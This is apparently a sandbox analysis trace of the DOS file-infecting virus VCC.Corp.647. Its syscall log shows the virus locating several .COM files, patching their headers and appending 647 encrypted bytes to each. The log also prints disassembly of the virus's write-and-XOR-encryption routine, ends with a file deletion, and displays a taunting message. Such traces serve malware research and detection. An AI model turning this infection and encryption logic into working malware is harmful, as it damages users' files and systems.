Sample viewer

vx.netlux.org/Virus.DOS.VCC.Corp.647

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:51:31.892525868Z 26 PC: 12a72 | Set disk transfer address
2018-12-17T22:51:31.894231849Z 37 PC: 12a80 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:51:31.904798116Z 37 PC: 12a84 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:51:31.906133545Z 78 PC: 12acf | Find first file
2018-12-17T22:51:31.913094034Z 61 PC: 12c5b | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:51:31.920562638Z 63 PC: 12c6a | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:51:31.927429613Z 66 PC: 12c79 | Move file pointer
2018-12-17T22:51:31.928865525Z 66 PC: 12c88 | Move file pointer
2018-12-17T22:51:31.931133808Z 64 PC: 12c94 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:51:31.934304334Z 66 PC: 12ca0 | Move file pointer
2018-12-17T22:51:31.936128098Z 44 PC: 12ca4 | Get time 0x12ca4: mov byte ptr [bp + 0x287], dl
0x12ca8: call 0x12cbe
0x12cab: mov ah, 0x40
0x12cad: mov cx, 0x287
0x12cb0: lea dx, word ptr [bp + 6]
0x12cb4: int 0x21
0x12cb6: call 0x12cbe
0x12cb9: mov ah, 0x3e
0x12cbb: int 0x21
0x12cbd: ret
0x12cbe: lea si, word ptr [bp + 0x1f]
0x12cc2: mov cx, 0x249
0x12cc5: xor byte ptr [si], 0
0x12cc8: inc si
0x12cc9: dec cx
0x12cca: jne 0x12cc5
0x12ccc: ret
0x12ccd: add word ptr [bx], di
0x12ccf: aas
0x12cd0: aas
2018-12-17T22:51:31.940326923Z 64 PC: 12cb6 | Write file or device (Write 647 bytes on handle 5)
2018-12-17T22:51:31.956602555Z 62 PC: 12cbd | Close file
2018-12-17T22:51:31.965643065Z 79 PC: 12acf | Find next file
2018-12-17T22:51:31.97767868Z 61 PC: 12c5b | Open file (Filename = 'PRINT.COM')
2018-12-17T22:51:31.985083458Z 63 PC: 12c6a | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:51:31.992190211Z 66 PC: 12c79 | Move file pointer
2018-12-17T22:51:31.994741029Z 66 PC: 12c88 | Move file pointer
2018-12-17T22:51:31.996306721Z 64 PC: 12c94 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:51:31.999208094Z 66 PC: 12ca0 | Move file pointer
2018-12-17T22:51:32.001003536Z 44 PC: 12ca4 | Get time 0x12ca4: mov byte ptr [bp + 0x287], dl
0x12ca8: call 0x12cbe
0x12cab: mov ah, 0x40
0x12cad: mov cx, 0x287
0x12cb0: lea dx, word ptr [bp + 6]
0x12cb4: int 0x21
0x12cb6: call 0x12cbe
0x12cb9: mov ah, 0x3e
0x12cbb: int 0x21
0x12cbd: ret
0x12cbe: lea si, word ptr [bp + 0x1f]
0x12cc2: mov cx, 0x249
0x12cc5: xor byte ptr [si], 0x49
0x12cc8: inc si
0x12cc9: dec cx
0x12cca: jne 0x12cc5
0x12ccc: ret
0x12ccd: add word ptr [bx], di
0x12ccf: aas
0x12cd0: aas
2018-12-17T22:51:32.003725506Z 64 PC: 12cb6 | Write file or device (Write 647 bytes on handle 5)
2018-12-17T22:51:32.013185823Z 62 PC: 12cbd | Close file
2018-12-17T22:51:32.022858645Z 79 PC: 12acf | Find next file
2018-12-17T22:51:32.026647045Z 61 PC: 12c5b | Open file (Filename = 'HELLO.COM')
2018-12-17T22:51:32.032695457Z 63 PC: 12c6a | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:51:32.038538109Z 66 PC: 12c79 | Move file pointer
2018-12-17T22:51:32.041026398Z 66 PC: 12c88 | Move file pointer
2018-12-17T22:51:32.042517852Z 64 PC: 12c94 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:51:32.045349564Z 66 PC: 12ca0 | Move file pointer
2018-12-17T22:51:32.048807265Z 44 PC: 12ca4 | Get time 0x12ca4: mov byte ptr [bp + 0x287], dl
0x12ca8: call 0x12cbe
0x12cab: mov ah, 0x40
0x12cad: mov cx, 0x287
0x12cb0: lea dx, word ptr [bp + 6]
0x12cb4: int 0x21
0x12cb6: call 0x12cbe
0x12cb9: mov ah, 0x3e
0x12cbb: int 0x21
0x12cbd: ret
0x12cbe: lea si, word ptr [bp + 0x1f]
0x12cc2: mov cx, 0x249
0x12cc5: xor byte ptr [si], 0x49
0x12cc8: inc si
0x12cc9: dec cx
0x12cca: jne 0x12cc5
0x12ccc: ret
0x12ccd: add word ptr [bx], di
0x12ccf: aas
0x12cd0: aas
2018-12-17T22:51:32.05140177Z 64 PC: 12cb6 | Write file or device (Write 647 bytes on handle 5)
2018-12-17T22:51:32.060332295Z 62 PC: 12cbd | Close file
2018-12-17T22:51:32.070299469Z 79 PC: 12acf | Find next file
2018-12-17T22:51:32.072300495Z 61 PC: 12c5b | Open file (Filename = 'PHANG.COM')
2018-12-17T22:51:32.076582847Z 63 PC: 12c6a | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:51:32.080758878Z 66 PC: 12c79 | Move file pointer
2018-12-17T22:51:32.082253424Z 66 PC: 12c88 | Move file pointer
2018-12-17T22:51:32.083571997Z 64 PC: 12c94 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:51:32.08582536Z 66 PC: 12ca0 | Move file pointer
2018-12-17T22:51:32.088101834Z 44 PC: 12ca4 | Get time 0x12ca4: mov byte ptr [bp + 0x287], dl
0x12ca8: call 0x12cbe
0x12cab: mov ah, 0x40
0x12cad: mov cx, 0x287
0x12cb0: lea dx, word ptr [bp + 6]
0x12cb4: int 0x21
0x12cb6: call 0x12cbe
0x12cb9: mov ah, 0x3e
0x12cbb: int 0x21
0x12cbd: ret
0x12cbe: lea si, word ptr [bp + 0x1f]
0x12cc2: mov cx, 0x249
0x12cc5: xor byte ptr [si], 0x4e
0x12cc8: inc si
0x12cc9: dec cx
0x12cca: jne 0x12cc5
0x12ccc: ret
0x12ccd: add word ptr [bx], di
0x12ccf: aas
0x12cd0: aas
2018-12-17T22:51:32.089834523Z 64 PC: 12cb6 | Write file or device (Write 647 bytes on handle 5)
2018-12-17T22:51:32.095254993Z 62 PC: 12cbd | Close file
2018-12-17T22:51:32.104678112Z 79 PC: 12acf | Find next file
2018-12-17T22:51:32.107745204Z 61 PC: 12c5b | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:51:32.115024967Z 63 PC: 12c6a | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:51:32.122720809Z 66 PC: 12c79 | Move file pointer
2018-12-17T22:51:32.12419166Z 66 PC: 12c88 | Move file pointer
2018-12-17T22:51:32.125482598Z 64 PC: 12c94 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:51:32.128787908Z 66 PC: 12ca0 | Move file pointer
2018-12-17T22:51:32.130252801Z 44 PC: 12ca4 | Get time 0x12ca4: mov byte ptr [bp + 0x287], dl
0x12ca8: call 0x12cbe
0x12cab: mov ah, 0x40
0x12cad: mov cx, 0x287
0x12cb0: lea dx, word ptr [bp + 6]
0x12cb4: int 0x21
0x12cb6: call 0x12cbe
0x12cb9: mov ah, 0x3e
0x12cbb: int 0x21
0x12cbd: ret
0x12cbe: lea si, word ptr [bp + 0x1f]
0x12cc2: mov cx, 0x249
0x12cc5: xor byte ptr [si], 0x54
0x12cc8: inc si
0x12cc9: dec cx
0x12cca: jne 0x12cc5
0x12ccc: ret
0x12ccd: add word ptr [bx], di
0x12ccf: aas
0x12cd0: aas
2018-12-17T22:51:32.133033207Z 64 PC: 12cb6 | Write file or device (Write 647 bytes on handle 5)
2018-12-17T22:51:32.143819172Z 62 PC: 12cbd | Close file
2018-12-17T22:51:32.151961093Z 79 PC: 12acf | Find next file
2018-12-17T22:51:32.155982761Z 61 PC: 12c5b | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:51:32.164365427Z 63 PC: 12c6a | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:51:32.172410654Z 66 PC: 12c79 | Move file pointer
2018-12-17T22:51:32.174358779Z 66 PC: 12c88 | Move file pointer
2018-12-17T22:51:32.176872749Z 64 PC: 12c94 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:51:32.1801657Z 66 PC: 12ca0 | Move file pointer
2018-12-17T22:51:32.182143312Z 44 PC: 12ca4 | Get time 0x12ca4: mov byte ptr [bp + 0x287], dl
0x12ca8: call 0x12cbe
0x12cab: mov ah, 0x40
0x12cad: mov cx, 0x287
0x12cb0: lea dx, word ptr [bp + 6]
0x12cb4: int 0x21
0x12cb6: call 0x12cbe
0x12cb9: mov ah, 0x3e
0x12cbb: int 0x21
0x12cbd: ret
0x12cbe: lea si, word ptr [bp + 0x1f]
0x12cc2: mov cx, 0x249
0x12cc5: xor byte ptr [si], 0x54
0x12cc8: inc si
0x12cc9: dec cx
0x12cca: jne 0x12cc5
0x12ccc: ret
0x12ccd: add word ptr [bx], di
0x12ccf: aas
0x12cd0: aas
2018-12-17T22:51:32.186151329Z 64 PC: 12cb6 | Write file or device (Write 647 bytes on handle 5)
2018-12-17T22:51:32.196321832Z 62 PC: 12cbd | Close file
2018-12-17T22:51:32.205508392Z 79 PC: 12acf | Find next file
2018-12-17T22:51:32.208843321Z 61 PC: 12c5b | Open file (Filename = 'PAH.COM')
2018-12-17T22:51:32.21649171Z 63 PC: 12c6a | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:51:32.224415065Z 66 PC: 12c79 | Move file pointer
2018-12-17T22:51:32.22586885Z 66 PC: 12c88 | Move file pointer
2018-12-17T22:51:32.227639156Z 64 PC: 12c94 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:51:32.236194266Z 66 PC: 12ca0 | Move file pointer
2018-12-17T22:51:32.237982636Z 44 PC: 12ca4 | Get time 0x12ca4: mov byte ptr [bp + 0x287], dl
0x12ca8: call 0x12cbe
0x12cab: mov ah, 0x40
0x12cad: mov cx, 0x287
0x12cb0: lea dx, word ptr [bp + 6]
0x12cb4: int 0x21
0x12cb6: call 0x12cbe
0x12cb9: mov ah, 0x3e
0x12cbb: int 0x21
0x12cbd: ret
0x12cbe: lea si, word ptr [bp + 0x1f]
0x12cc2: mov cx, 0x249
0x12cc5: xor byte ptr [si], 0x59
0x12cc8: inc si
0x12cc9: dec cx
0x12cca: jne 0x12cc5
0x12ccc: ret
0x12ccd: add word ptr [bx], di
0x12ccf: aas
0x12cd0: aas
2018-12-17T22:51:32.241976791Z 64 PC: 12cb6 | Write file or device (Write 647 bytes on handle 5)
2018-12-17T22:51:32.250922723Z 62 PC: 12cbd | Close file
2018-12-17T22:51:32.259887454Z 26 PC: 12ae9 | Set disk transfer address
2018-12-17T22:51:32.261914534Z 19 PC: 12afb | Delete file
2018-12-17T22:51:32.269207018Z 9 PC: 12b2d | Display string (String= 'ATTITUDE Attitude is a little thing that makes a big difference Just ask any pitbull!!! ')